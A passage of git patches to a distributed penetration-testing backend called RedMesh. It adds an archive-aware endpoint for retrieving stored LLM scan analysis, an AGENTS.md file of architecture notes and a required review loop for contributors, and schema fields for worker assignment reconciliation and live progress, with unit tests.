@@ "build_network_workers", "build_webapp_workers", "get_scan_strategy", + "get_job_analysis", "get_job_archive", "get_job_data", "get_job_progress", diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index 883e83bd..0660ed4d 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -110,6 +110,139 @@ def get_job_archive(owner, job_id: str, summary_only: bool = False, pass_offset: return result +def get_job_analysis(owner, job_id: str = "", cid: str = "", pass_nr: int = None): + """ + Retrieve stored LLM analysis for a job or pass report CID. + + Finalized jobs are resolved from the archived job payload so analysis remains + available after CStore pruning. Running jobs continue to resolve via live + pass report references in CStore. + """ + if cid: + try: + analysis = owner.r1fs.get_json(cid) + if analysis is None: + return {"error": "Analysis not found", "cid": cid} + return {"cid": cid, "analysis": analysis} + except Exception as e: + return {"error": str(e), "cid": cid} + + if not job_id: + return {"error": "Either job_id or cid must be provided"} + + job_specs = owner._get_job_from_cstore(job_id) + if not job_specs: + return {"error": "Job not found", "job_id": job_id} + + job_status = job_specs.get("job_status") + + if job_specs.get("job_cid"): + archive_result = get_job_archive_with_triage(owner, job_id) + if "archive" not in archive_result: + return { + "error": archive_result.get("error", "archive_unavailable"), + "message": archive_result.get("message"), + "job_id": job_id, + "job_status": job_status, + } + + archive = archive_result["archive"] + passes = archive.get("passes", []) or [] + if not passes: + return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} + + if pass_nr is not None: + target_pass = next((entry for entry in passes if entry.get("pass_nr") == pass_nr), None) + if not target_pass: + return { + "error": f"Pass {pass_nr} not found in history", + "job_id": job_id, + "available_passes": [entry.get("pass_nr") for entry in passes], + "job_status": job_status, + } + else: + target_pass = passes[-1] + + llm_analysis = target_pass.get("llm_analysis") + if not llm_analysis: + return { + "error": "No LLM analysis available for this pass", + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "llm_failed": target_pass.get("llm_failed", False), + "job_status": job_status, + } + + job_config = archive.get("job_config", {}) or {} + target_value = job_config.get("target") or job_specs.get("target") + return { + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "completed_at": target_pass.get("date_completed"), + "report_cid": target_pass.get("report_cid"), + "target": target_value, + "num_workers": len(target_pass.get("worker_reports", {}) or {}), + "total_passes": len(passes), + "analysis": llm_analysis, + "quick_summary": target_pass.get("quick_summary"), + } + + pass_reports = job_specs.get("pass_reports", []) + if not pass_reports: + if job_status == "RUNNING": + return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} + return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} + + if pass_nr is not None: + target_pass = next((entry for entry in pass_reports if entry.get("pass_nr") == pass_nr), None) + if not target_pass: + return { + "error": f"Pass {pass_nr} not found in history", + "job_id": job_id, + "available_passes": [entry.get("pass_nr") for entry in pass_reports], + } + else: + target_pass = pass_reports[-1] + + report_cid = target_pass.get("report_cid") + if not report_cid: + return { + "error": "No pass report CID available for this pass", + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "job_status": job_status, + } + + try: + pass_data = owner.r1fs.get_json(report_cid) + if pass_data is None: + return {"error": "Pass report not found in R1FS", "cid": report_cid, "job_id": job_id} + + llm_analysis = pass_data.get("llm_analysis") + if not llm_analysis: + return { + "error": "No LLM analysis available for this pass", + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "llm_failed": pass_data.get("llm_failed", False), + "job_status": job_status, + } + + return { + "job_id": job_id, + "pass_nr": target_pass.get("pass_nr"), + "completed_at": pass_data.get("date_completed"), + "report_cid": report_cid, + "target": job_specs.get("target"), + "num_workers": len(job_specs.get("workers", {})), + "total_passes": len(pass_reports), + "analysis": llm_analysis, + "quick_summary": pass_data.get("quick_summary"), + } + except Exception as e: + return {"error": str(e), "cid": report_cid, "job_id": job_id} + + def get_job_progress(owner, job_id: str): """ Return real-time progress for all workers in the given job. diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index bd1d9977..23e0ac05 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -2345,6 +2345,94 @@ def test_get_job_archive_r1fs_failure(self): result = Plugin.get_job_archive(plugin, job_id="fin-job") self.assertEqual(result["error"], "fetch_failed") + def test_get_analysis_finalized_reads_archive(self): + """Finalized jobs resolve stored LLM analysis from archive passes after CStore pruning.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "fin-job", + "passes": [ + { + "pass_nr": 1, + "date_completed": 10.0, + "report_cid": "QmPass1", + "llm_analysis": "Archive-backed analysis", + "quick_summary": "Archive-backed summary", + "worker_reports": {"node-A": {}, "node-B": {}}, + }, + ], + "ui_aggregate": {}, + "job_config": {"target": "10.0.0.1"}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + + result = Plugin.get_analysis(plugin, job_id="fin-job") + + self.assertEqual(result["job_id"], "fin-job") + self.assertEqual(result["analysis"], "Archive-backed analysis") + self.assertEqual(result["quick_summary"], "Archive-backed summary") + self.assertEqual(result["num_workers"], 2) + self.assertEqual(result["total_passes"], 1) + + def test_get_analysis_finalized_reports_llm_failed_from_archive(self): + """Finalized archive reads surface llm_failed instead of pretending pass history is missing.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "fin-job", + "passes": [ + { + "pass_nr": 1, + "date_completed": 10.0, + "report_cid": "QmPass1", + "llm_failed": True, + "quick_summary": None, + "worker_reports": {"node-A": {}}, + }, + ], + "ui_aggregate": {}, + "job_config": {"target": "10.0.0.1"}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + + result = Plugin.get_analysis(plugin, job_id="fin-job") + + self.assertEqual(result["error"], "No LLM analysis available for this pass") + self.assertTrue(result["llm_failed"]) + self.assertEqual(result["pass_nr"], 1) + + def test_get_analysis_finalized_archive_integrity_error_bubbles_up(self): + """Archive integrity failures should be returned instead of falling back to pruned CStore state.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = { + "archive_version": JOB_ARCHIVE_VERSION, + "job_id": "other-job", + "passes": [], + "ui_aggregate": {}, + "job_config": {}, + "timeline": [], + "duration": 0, + "date_created": 0, + "date_completed": 0, + } + + result = Plugin.get_analysis(plugin, job_id="fin-job") + + self.assertEqual(result["error"], "integrity_mismatch") + self.assertEqual(result["job_id"], "fin-job") + def test_get_job_archive_summary_only(self): """Summary mode returns bounded pass-history summaries instead of full pass payloads.""" Plugin = self._get_plugin_class() From 7e6c0b5619d0b2451425a2f725264c3189382ce5 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 10:50:00 +0000 Subject: [PATCH 094/114] fix: add redmesh agents.md --- .../business/cybersec/red_mesh/AGENTS.md | 295 ++++++++++++++++++ 1 file changed, 295 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/AGENTS.md diff --git a/extensions/business/cybersec/red_mesh/AGENTS.md b/extensions/business/cybersec/red_mesh/AGENTS.md new file mode 100644 index 00000000..83064eee --- /dev/null +++ b/extensions/business/cybersec/red_mesh/AGENTS.md @@ -0,0 +1,295 @@ +# RedMesh Backend Agent Memory + +Last updated: 2026-03-16T00:00:00Z + +## Purpose + +This file is the durable, append-only long-term memory for future agents working in the RedMesh backend implementation directory: + +- [`extensions/business/cybersec/red_mesh/`](./) + +Use it to preserve: +- code-level architecture facts +- backend-specific invariants +- important debugging references +- critical pitfalls +- timestamped memory entries for meaningful backend changes and major development stages + +Do not rewrite history. Corrections belong in new log entries that reference earlier ones. + +## Scope + +This `AGENTS.md` is RedMesh-backend-specific. + +Use the workspace-level memory for cross-repo planning and project-wide context: +- project-level RedMesh workspace `AGENTS.md` + +Use this file for: +- backend implementation memory +- module boundaries +- orchestration and persistence invariants +- testing and debugging conventions +- significant backend change history + +## Stable References + +### Core Entry Points + +- [`pentester_api_01.py`](./pentester_api_01.py) +- [`redmesh_llm_agent_api.py`](./redmesh_llm_agent_api.py) + +### Core Subsystems + +- [`services/`](./services) +- [`repositories/`](./repositories) +- [`models/`](./models) +- [`mixins/`](./mixins) +- [`worker/`](./worker) +- [`graybox/`](./graybox) + +### Key Supporting Modules + +- [`constants.py`](./constants.py) +- [`findings.py`](./findings.py) +- [`cve_db.py`](./cve_db.py) + +### Tests + +- [`tests/`](./tests) +- [`test_redmesh.py`](./test_redmesh.py) + +### Historical Context + +- [`.old_docs/HISTORY.md`](./.old_docs/HISTORY.md) + +## Architecture Snapshot + +RedMesh is a distributed pentest backend running on Ratio1 edge nodes. It coordinates scans across nodes, stores job state in CStore, persists large artifacts in R1FS, and exposes FastAPI endpoints consumed by Navigator and local operators. + +High-level responsibilities: +- launch and coordinate network and graybox jobs +- distribute work across edge nodes +- track runtime progress +- aggregate worker reports +- finalize archives and derived metadata +- optionally run LLM analysis on aggregated reports +- expose audit, archive, report, progress, triage, and analysis APIs + +### Current Major Boundaries + +- `pentester_api_01.py` + - main orchestration plugin + - launch endpoints + - process-loop coordination + - API read paths + +- `services/` + - extracted lifecycle, query, launch, state-machine, control, finalization, resilience, and secret-handling logic + +- `repositories/` + - storage boundaries for CStore and R1FS-style artifacts + +- `models/` + - typed job/config/archive/report/triage structures + +- `worker/` + - network worker implementation and feature-specific probe modules + +- `graybox/` + - authenticated webapp scan models, runtime flow, auth lifecycle, safety gates, and probe families + +- `mixins/` + - live progress, reporting, risk scoring, attestation, and LLM behavior extracted from the main plugin + +## Critical Invariants + +### Storage and Ownership + +- CStore job records are the shared orchestration state for distributed work. +- R1FS stores large immutable artifacts such as reports, configs, and archives. +- Finalized jobs are represented in CStore as stubs plus `job_cid`; archive payloads are authoritative for finalized history. +- Read paths for finalized data should prefer archive-backed retrieval over assuming live CStore detail still exists. + +### Job Lifecycle + +- Launcher node is responsible for distributed orchestration and finalization. +- Workers are selected per job and assigned explicit ranges/config. +- Aggregated analysis should run on the combined multi-worker report, not a single-worker report. +- A job should converge to an explicit terminal state; indefinite `RUNNING` due to a missing worker is a bug. + +### Findings and Reports + +- Structured findings are the backend contract; string-only vulnerability outputs are legacy history, not the target model. +- Severity, evidence, remediation, and typed finding metadata should remain normalized across network and graybox paths. +- Mutable analyst triage state must remain separate from immutable scan/archive records. + +### Security and Secret Handling + +- Archive/report redaction is not equivalent to secure secret persistence. +- Graybox secret storage boundaries are security-sensitive and should be treated as architecture, not cosmetic cleanup. +- Safe defaults matter for redaction, ICS-safe behavior, rate limiting, and authorization confirmation. + +### Distributed Runtime State + +- Shared job blobs are vulnerable to lost-update races if multiple nodes write unrelated fields concurrently. +- Worker-owned runtime state should prefer isolated records over concurrent writes into the same job document. +- Launcher-side reconciliation is safer than trusting many workers to merge shared orchestration state correctly. + +## Testing and Verification + +Primary backend test commands: + +```bash +cd edge_node +python -m pytest extensions/business/cybersec/red_mesh/test_redmesh.py -v +``` + +```bash +cd edge_node +python -m pytest extensions/business/cybersec/red_mesh/tests -v +``` + +Useful targeted runs: + +```bash +cd edge_node +python -m pytest extensions/business/cybersec/red_mesh/tests/test_api.py -v +``` + +```bash +cd edge_node +python -m pytest extensions/business/cybersec/red_mesh/tests/test_regressions.py -v +``` + +```bash +cd edge_node +python -m pytest extensions/business/cybersec/red_mesh/tests/test_state_machine.py -v +``` + +## Debugging Conventions + +- Prefer reading both live API state and persisted logs when investigating distributed-job issues. +- For finalized-job read bugs, verify whether the true source of truth is CStore stub data or archive data in R1FS. +- For stuck distributed jobs, inspect: + - launcher job record + - per-worker status/progress visibility + - whether every assigned worker actually observed the job + - whether missing workers were unhealthy at assignment time +- Distinguish clearly between: + - scan execution failures + - orchestration failures + - archive/read-path failures + - LLM post-processing failures + +## Pitfalls + +- `get_job_status` can look locally “complete” while the distributed job is still incomplete. +- Finalized jobs are pruned to CStore stubs; assuming live pass reports remain in CStore is incorrect. +- Shared CStore writes without guarded semantics can lose unrelated updates. +- LLM failure and analysis retrieval are separate problems; missing analysis text is not always a UI issue. +- Graybox and network paths now share more contracts than before; avoid fixing one while silently breaking the other. + +## Mandatory BUILDER-CRITIC Loop + +For every meaningful RedMesh backend modification, future agents must record and follow this loop in their work output and, for critical/fundamental changes, summarize the result in the Memory Log. + +### 1. BUILDER + +State: +- intent +- files or systems to change +- expected behavioral change + +### 2. CRITIC + +Adversarially try to break the change: +- wrong assumptions +- orchestration/storage mismatches +- regressions +- security impact +- distributed-state edge cases +- missing tests +- missing docs +- operational risks + +### 3. BUILDER Response + +Refine or defend the change: +- what changed after critique +- what remains risky +- exact verification commands +- actual verification results + +Minimum bar: +- no meaningful RedMesh backend change is complete without a documented CRITIC pass +- no critical orchestration/storage change is complete without verification commands and results +- if verification cannot run, record that explicitly + +## Memory Log (append-only) + +Only append entries for critical or fundamental RedMesh backend changes, discoveries, or horizontal insights. Do not add routine edits. + +### 2025-08-27 to 2025-10-04 + +- Stage: initial RedMesh backend creation and early productionization. +- Change: established the original distributed pentest backend with `pentester_api_01.py`, `PentestLocalWorker`, basic service probes, and early web checks. +- Change: added the first test suite and expanded protocol/web coverage beyond basic banner grabbing. +- Horizontal insight: RedMesh started as a network-first scanning backend and only later grew into a richer orchestration and analysis platform. + +### 2025-12-08 to 2025-12-22 + +- Stage: distributed orchestration hardening and feature-catalog expansion. +- Change: added startup coordination fixes, chainstore handling fixes, and a major overhaul of multi-node job coordination. +- Change: introduced the feature catalog and explicit capability-driven execution model in [`constants.py`](./constants.py). +- Horizontal insight: the December 2025 update was the major transition from a simple scanner plugin to a configurable distributed scanning platform. + +### 2026-01-28 to 2026-02-19 + +- Stage: worker-state fixes, LLM integration, deep probes, structured findings, and web architecture refactor. +- Change: fixed worker-entry handling from CStore, then added DeepSeek-backed LLM analysis through a dedicated agent path. +- Change: expanded deep service probes across SSH, FTP, Telnet, HTTP, TLS, databases, and infrastructure protocols. +- Change: split monolithic web logic into OWASP-aligned mixins and completed the migration to structured findings plus CVE matching. +- Horizontal insight: by 2026-02-19, structured findings became the core backend contract and should be treated as foundational rather than optional formatting. + +### 2026-02-20 + +- Stage: security-control baseline added across backend and Navigator integration. +- Change: added credential redaction, ICS safe mode, rate limiting, scanner identity controls, audit logging, and authorization gating. +- Horizontal insight: RedMesh security controls affect the full path from UI input to backend runtime and archive persistence; future changes should be reviewed end-to-end, not only in the plugin code. + +### 2026-03-07 to 2026-03-10 + +- Stage: observability and backend decomposition. +- Change: added live worker progress endpoints, per-thread metrics/ports visibility, node IP stamping, hard stop support, purge/delete flows, and improved progress loading. +- Change: refactored a growing monolith into more granular mixins, worker modules, and split tests. +- Horizontal insight: progress and observability became first-class runtime concerns, not just UI convenience features. + +### 2026-03-10 to 2026-03-11 + +- Stage: graybox architecture introduction and typed execution boundaries. +- Change: introduced graybox core modules, auth/discovery/safety flows, worker/API integration, launch API split by scan type, feature capability modeling by scan type, and extracted launch strategies/state machine. +- Change: expanded graybox probes and tests, including access control, business logic, misconfiguration, and injection families. +- Horizontal insight: RedMesh is no longer only a distributed port scanner; it is a dual-mode backend with both network and authenticated webapp execution paths. +- Critical continuity rule: future agents must treat network and graybox paths as coupled contracts wherever findings, progress, launch state, and archive/read behavior overlap. + +### 2026-03-12 + +- Stage: service extraction, repository/model boundaries, pass-cap hardening, and stronger storage design. +- Change: extracted query, launch, lifecycle, repository, and service boundaries from `pentester_api_01.py`. +- Change: enforced continuous-pass caps, normalized running-job state, introduced repository boundaries, and split graybox secrets from plain job config. +- Horizontal insight: after this stage, RedMesh backend work should prefer service/repository/model boundaries over adding more behavior directly to the monolithic plugin file. +- Critical continuity rule: storage-affecting work should flow through the typed repository/model/service boundaries unless there is a clear reason not to. + +### 2026-03-13 + +- Stage: secret-boundary hardening, typed graybox artifacts, finding triage, resilience, and regression coverage. +- Change: hardened secret-storage boundaries, typed graybox runtime/probe/evidence flows, normalized graybox finding contracts, added finding triage state and CVSS metadata, and strengthened resilience/launch policy. +- Change: added regression and contract suites, hardened live progress metadata, hardened LLM failure handling, and preserved pass reports during finalization. +- Horizontal insight: RedMesh now has explicit architecture around evidence artifacts, triage state, and regression protection; future work should extend those contracts rather than bypass them. + +### 2026-03-16 + +- Change: added this backend-local [`AGENTS.md`](./AGENTS.md) to keep RedMesh-specific implementation memory separate from workspace-level planning memory. +- Change: identified a distributed-job orchestration gap where an assigned worker can miss the initial CStore job announcement and the launcher can wait indefinitely. +- Change: added a companion implementation tracker for distributed job reconciliation in the shared RedMesh project docs. +- Horizontal insight: current launcher/worker orchestration is strong enough to distribute work, but not yet strong enough to guarantee convergence when a peer misses assignment visibility; future agents should treat worker-owned runtime state and launcher-side reconciliation as the preferred fix direction. From c3fd4fe14d54afddfb129219633e171780192caa Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 10:55:18 +0000 Subject: [PATCH 095/114] feat(redmesh): define distributed reconciliation schema --- .../cybersec/red_mesh/models/cstore.py | 45 ++++++++++++++++++- .../cybersec/red_mesh/pentester_api_01.py | 4 ++ .../red_mesh/tests/test_integration.py | 10 +++++ .../red_mesh/tests/test_repositories.py | 34 +++++++++++++- 4 files changed, 90 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/cstore.py b/extensions/business/cybersec/red_mesh/models/cstore.py index be480175..50df0d73 100644 --- a/extensions/business/cybersec/red_mesh/models/cstore.py +++ b/extensions/business/cybersec/red_mesh/models/cstore.py @@ -17,13 +17,27 @@ @dataclass(frozen=True) class CStoreWorker: - """Worker entry in CStore during job execution.""" + """ + Launcher-owned worker assignment state in CStore during job execution. + + Runtime liveness belongs in the separate ``:live`` namespace. The main job + record keeps durable orchestration metadata such as assignment revisions, + retry tracking, and final report references. + """ start_port: int end_port: int finished: bool = False canceled: bool = False report_cid: str = None result: dict = None # fallback: inline report if R1FS is down + assignment_revision: int = 1 + assigned_at: float = None + reannounce_count: int = 0 + last_reannounce_at: float = None + retry_reason: str = None + terminal_reason: str = None + error: str = None + unreachable_at: float = None def to_dict(self) -> dict: return _strip_none(asdict(self)) @@ -37,6 +51,14 @@ def from_dict(cls, d: dict) -> CStoreWorker: canceled=d.get("canceled", False), report_cid=d.get("report_cid"), result=d.get("result"), + assignment_revision=d.get("assignment_revision", 1), + assigned_at=d.get("assigned_at"), + reannounce_count=d.get("reannounce_count", 0), + last_reannounce_at=d.get("last_reannounce_at"), + retry_reason=d.get("retry_reason"), + terminal_reason=d.get("terminal_reason"), + error=d.get("error"), + unreachable_at=d.get("unreachable_at"), ) @@ -183,11 +205,17 @@ class WorkerProgress: Ephemeral real-time progress published by each worker node. Stored in a separate CStore hset (hkey = f"{instance_id}:live", - key = f"{job_id}:{worker_addr}"). Cleaned up when the pass completes. + key = f"{job_id}:{worker_addr}"). Cleaned up opportunistically when the pass + completes, but reconciliation must remain correct even if stale rows linger. + + These records are worker-owned liveness truth. Launcher retry logic should + match them by ``job_id``, ``pass_nr``, ``worker_addr``, and + ``assignment_revision_seen``. """ job_id: str worker_addr: str pass_nr: int + assignment_revision_seen: int progress: float # 0.0 - 100.0 (stage-based: completed_stages/total * 100) phase: str # port_scan | fingerprint | service_probes | web_tests | correlation ports_scanned: int @@ -195,9 +223,15 @@ class WorkerProgress: open_ports_found: list # [int] — discovered so far completed_tests: list # [str] — which probes finished updated_at: float # unix timestamp + started_at: float = None + first_seen_live_at: float = None + last_seen_at: float = None + error: str = None + report_cid: str = None scan_type: str = "network" # network | webapp phase_index: int = 0 # 1-based current stage index; 0 when unknown total_phases: int = 0 # number of stages in the active phase family + finished: bool = False live_metrics: dict = None # ScanMetrics.to_dict() — partial snapshot, progressively fills in threads: dict = None # {thread_id: {phase, ports_scanned, ports_total, open_ports_found}} @@ -210,8 +244,14 @@ def from_dict(cls, d: dict) -> WorkerProgress: job_id=d["job_id"], worker_addr=d["worker_addr"], pass_nr=d.get("pass_nr", 1), + assignment_revision_seen=d.get("assignment_revision_seen", 1), progress=d.get("progress", 0), phase=d.get("phase", ""), + started_at=d.get("started_at"), + first_seen_live_at=d.get("first_seen_live_at"), + last_seen_at=d.get("last_seen_at", d.get("updated_at", 0)), + error=d.get("error"), + report_cid=d.get("report_cid"), scan_type=d.get("scan_type", "network"), phase_index=d.get("phase_index", 0), total_phases=d.get("total_phases", 0), @@ -220,6 +260,7 @@ def from_dict(cls, d: dict) -> WorkerProgress: open_ports_found=d.get("open_ports_found", []), completed_tests=d.get("completed_tests", []), updated_at=d.get("updated_at", 0), + finished=d.get("finished", False), live_metrics=d.get("live_metrics"), threads=d.get("threads"), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 9df1ce42..f8315c5d 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -149,6 +149,10 @@ "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes "PROGRESS_PUBLISH_INTERVAL": 30, # seconds between live progress writes to CStore + "DISTRIBUTED_STARTUP_TIMEOUT": 45, # seconds to wait for worker-owned :live startup signal + "DISTRIBUTED_STALE_TIMEOUT": 120, # seconds before launcher treats worker :live as stale + "DISTRIBUTED_STALE_GRACE": 30, # extra grace before retrying a stale worker assignment + "DISTRIBUTED_MAX_REANNOUNCE_ATTEMPTS": 3, # bounded per-worker retries before terminal failure "ARCHIVE_VERIFY_RETRIES": 3, "LLM_API_RETRIES": 2, "ATTESTATION_RETRIES": 2, diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 720151ab..964cc6e3 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -28,6 +28,7 @@ def test_worker_progress_model_roundtrip(self): job_id="job-1", worker_addr="0xWorkerA", pass_nr=2, + assignment_revision_seen=4, progress=45.5, phase="service_probes", scan_type="network", @@ -38,6 +39,10 @@ def test_worker_progress_model_roundtrip(self): open_ports_found=[22, 80, 443], completed_tests=["fingerprint_completed", "service_info_completed"], updated_at=1700000000.0, + started_at=1699999990.0, + first_seen_live_at=1699999990.0, + last_seen_at=1700000000.0, + finished=False, live_metrics={"total_duration": 30.5}, ) d = wp.to_dict() @@ -45,6 +50,7 @@ def test_worker_progress_model_roundtrip(self): self.assertEqual(wp2.job_id, "job-1") self.assertEqual(wp2.worker_addr, "0xWorkerA") self.assertEqual(wp2.pass_nr, 2) + self.assertEqual(wp2.assignment_revision_seen, 4) self.assertAlmostEqual(wp2.progress, 45.5) self.assertEqual(wp2.phase, "service_probes") self.assertEqual(wp2.scan_type, "network") @@ -55,6 +61,10 @@ def test_worker_progress_model_roundtrip(self): self.assertEqual(wp2.open_ports_found, [22, 80, 443]) self.assertEqual(wp2.completed_tests, ["fingerprint_completed", "service_info_completed"]) self.assertEqual(wp2.updated_at, 1700000000.0) + self.assertEqual(wp2.started_at, 1699999990.0) + self.assertEqual(wp2.first_seen_live_at, 1699999990.0) + self.assertEqual(wp2.last_seen_at, 1700000000.0) + self.assertFalse(wp2.finished) self.assertEqual(wp2.live_metrics, {"total_duration": 30.5}) def test_get_job_progress_filters_by_job(self): diff --git a/extensions/business/cybersec/red_mesh/tests/test_repositories.py b/extensions/business/cybersec/red_mesh/tests/test_repositories.py index c12aef64..0ded925f 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_repositories.py +++ b/extensions/business/cybersec/red_mesh/tests/test_repositories.py @@ -1,7 +1,9 @@ import unittest from unittest.mock import MagicMock -from extensions.business.cybersec.red_mesh.models import CStoreJobRunning, JobArchive, JobConfig, PassReport, WorkerProgress +from extensions.business.cybersec.red_mesh.models import ( + CStoreJobRunning, JobArchive, JobConfig, PassReport, WorkerProgress, CStoreWorker, +) from extensions.business.cybersec.red_mesh.repositories import ArtifactRepository, JobStateRepository @@ -67,6 +69,7 @@ def test_job_state_repository_supports_typed_live_progress(self): job_id="job-1", worker_addr="node-a", pass_nr=1, + assignment_revision_seen=2, progress=25.0, phase="port_scan", scan_type="network", @@ -77,13 +80,42 @@ def test_job_state_repository_supports_typed_live_progress(self): open_ports_found=[22], completed_tests=["probe"], updated_at=1.0, + started_at=0.5, + first_seen_live_at=0.5, + last_seen_at=1.0, ) persisted = repo.put_live_progress_model(progress) self.assertEqual(persisted["job_id"], "job-1") + self.assertEqual(persisted["assignment_revision_seen"], 2) owner.chainstore_hset.assert_called_once() + def test_cstore_worker_roundtrip_preserves_assignment_metadata(self): + worker = CStoreWorker( + start_port=1, + end_port=100, + assignment_revision=3, + assigned_at=10.0, + reannounce_count=2, + last_reannounce_at=12.0, + retry_reason="startup_timeout", + terminal_reason="unreachable", + error="worker missing", + unreachable_at=20.0, + ) + + worker2 = CStoreWorker.from_dict(worker.to_dict()) + + self.assertEqual(worker2.assignment_revision, 3) + self.assertEqual(worker2.assigned_at, 10.0) + self.assertEqual(worker2.reannounce_count, 2) + self.assertEqual(worker2.last_reannounce_at, 12.0) + self.assertEqual(worker2.retry_reason, "startup_timeout") + self.assertEqual(worker2.terminal_reason, "unreachable") + self.assertEqual(worker2.error, "worker missing") + self.assertEqual(worker2.unreachable_at, 20.0) + def test_job_state_repository_put_job_coerces_running_job_shape(self): owner = self._make_owner() repo = JobStateRepository(owner) From fc731f59d6374c58944f9f22e9b3da079b84f2fc Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 10:59:22 +0000 Subject: [PATCH 096/114] feat(redmesh): publish startup live state --- .../cybersec/red_mesh/mixins/live_progress.py | 27 ++++ .../cybersec/red_mesh/pentester_api_01.py | 141 ++++++++++++++++++ .../red_mesh/tests/test_integration.py | 118 +++++++++++++++ 3 files changed, 286 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/mixins/live_progress.py b/extensions/business/cybersec/red_mesh/mixins/live_progress.py index b99f7336..cdd0884c 100644 --- a/extensions/business/cybersec/red_mesh/mixins/live_progress.py +++ b/extensions/business/cybersec/red_mesh/mixins/live_progress.py @@ -47,6 +47,15 @@ def _thread_phase(state): class _LiveProgressMixin: """Live progress tracking methods for PentesterApi01Plugin.""" + def _get_execution_live_meta(self, job_id): + """Return cached worker-owned live metadata for an active local execution.""" + meta_map = getattr(self, "_execution_live_meta", None) + if isinstance(meta_map, dict): + meta = meta_map.get(job_id) + if isinstance(meta, dict): + return dict(meta) + return {} + def _get_progress_publish_interval(self): """Return a safe numeric live-progress publish interval in seconds.""" interval = getattr(self, "_progress_publish_interval", None) @@ -256,8 +265,20 @@ def _publish_live_progress(self): # Look up pass number from CStore job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) pass_nr = 1 + assignment_revision = 1 if isinstance(job_specs, dict): pass_nr = job_specs.get("job_pass", 1) + worker_entry = (job_specs.get("workers") or {}).get(ee_addr) or {} + try: + assignment_revision = int(worker_entry.get("assignment_revision", 1) or 1) + except (TypeError, ValueError): + assignment_revision = 1 + + live_meta = _LiveProgressMixin._get_execution_live_meta(self, job_id) + started_at = live_meta.get("started_at", now) + first_seen_live_at = live_meta.get("first_seen_live_at", started_at) + last_seen_at = now + assignment_revision_seen = live_meta.get("assignment_revision_seen", assignment_revision) # Merge metrics from all local threads merged_metrics = worker_metrics[0] if len(worker_metrics) == 1 else self._merge_worker_metrics(worker_metrics) @@ -266,6 +287,7 @@ def _publish_live_progress(self): job_id=job_id, worker_addr=ee_addr, pass_nr=pass_nr, + assignment_revision_seen=assignment_revision_seen, progress=progress_pct, phase=phase, scan_type=scan_type, @@ -276,6 +298,10 @@ def _publish_live_progress(self): open_ports_found=sorted(all_open), completed_tests=sorted(all_tests), updated_at=now, + started_at=started_at, + first_seen_live_at=first_seen_live_at, + last_seen_at=last_seen_at, + finished=False, live_metrics=merged_metrics, threads=thread_entries if len(thread_entries) > 1 else None, ) @@ -287,6 +313,7 @@ def _publish_live_progress(self): self.P( "[LIVE->CSTORE] Published worker progress " f"job_id={job_id} worker={ee_addr} pass={pass_nr} " + f"rev={assignment_revision_seen} " f"phase={phase} progress={progress_pct}% " f"ports={total_scanned}/{total_ports} open={len(all_open)} " f"key={job_id}:{ee_addr}" diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index f8315c5d..c45d4dce 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -66,6 +66,8 @@ LOCAL_WORKERS_MIN, LOCAL_WORKERS_MAX, LOCAL_WORKERS_DEFAULT, + PHASE_ORDER, + GRAYBOX_PHASE_ORDER, PHASE_MARKERS, ) from .services import ( @@ -237,6 +239,8 @@ def on_init(self): self._progress_publish_interval = self._get_progress_publish_interval() self._job_state_repository = JobStateRepository(self) self._artifact_repository = ArtifactRepository(self) + self._active_execution_identities = {} # {job_id: (job_id, pass_nr, worker_addr, assignment_revision)} + self._execution_live_meta = {} # {job_id: startup metadata for worker-owned :live publishing} self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False @@ -585,6 +589,108 @@ def _get_worker_entry(self, job_id, job_spec): self.json_dumps(workers)), ) return worker_entry + 